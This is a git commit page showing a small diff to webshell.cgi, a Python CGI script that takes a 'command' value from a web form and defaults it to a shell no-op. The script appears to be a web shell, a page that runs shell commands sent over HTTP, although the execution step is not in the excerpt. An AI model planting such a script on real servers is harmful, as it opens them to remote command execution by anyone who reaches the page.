summaryrefslogtreecommitdiff
path: root/html/cgi-bin/webshell.cgi
diff options
context:
space:
mode:
authorjerome <jerome@xlinfo.fr>2023-12-18 00:18:49 +0100
committerjerome <jerome@xlinfo.fr>2023-12-18 00:18:49 +0100
commit928d6cc078193418f6391e07c68623daad8051ee (patch)
tree32704f1052bd2747b2147d3bec966be59bd4a6a8 /html/cgi-bin/webshell.cgi
parenta1203ccb343703ba5ae522254f75b6384a1831a7 (diff)
downloadpython-928d6cc078193418f6391e07c68623daad8051ee.tar.gz
python-928d6cc078193418f6391e07c68623daad8051ee.zip
update webshell.cgi
Diffstat (limited to 'html/cgi-bin/webshell.cgi')
-rwxr-xr-xhtml/cgi-bin/webshell.cgi5
1 files changed, 4 insertions, 1 deletions
diff --git a/html/cgi-bin/webshell.cgi b/html/cgi-bin/webshell.cgi
index 6598d37..989085e 100755
--- a/html/cgi-bin/webshell.cgi
+++ b/html/cgi-bin/webshell.cgi
@@ -7,7 +7,10 @@ import cgi
import os
form = cgi.FieldStorage()
-cmd = form.getvalue('command')
+if form.getvalue('command'):
+ cmd = form.getvalue('command')
+else:
+ cmd = ":"
user = os.getlogin()
host = os.environ.get('SERVER_NAME')
pwd = os.environ.get('PWD')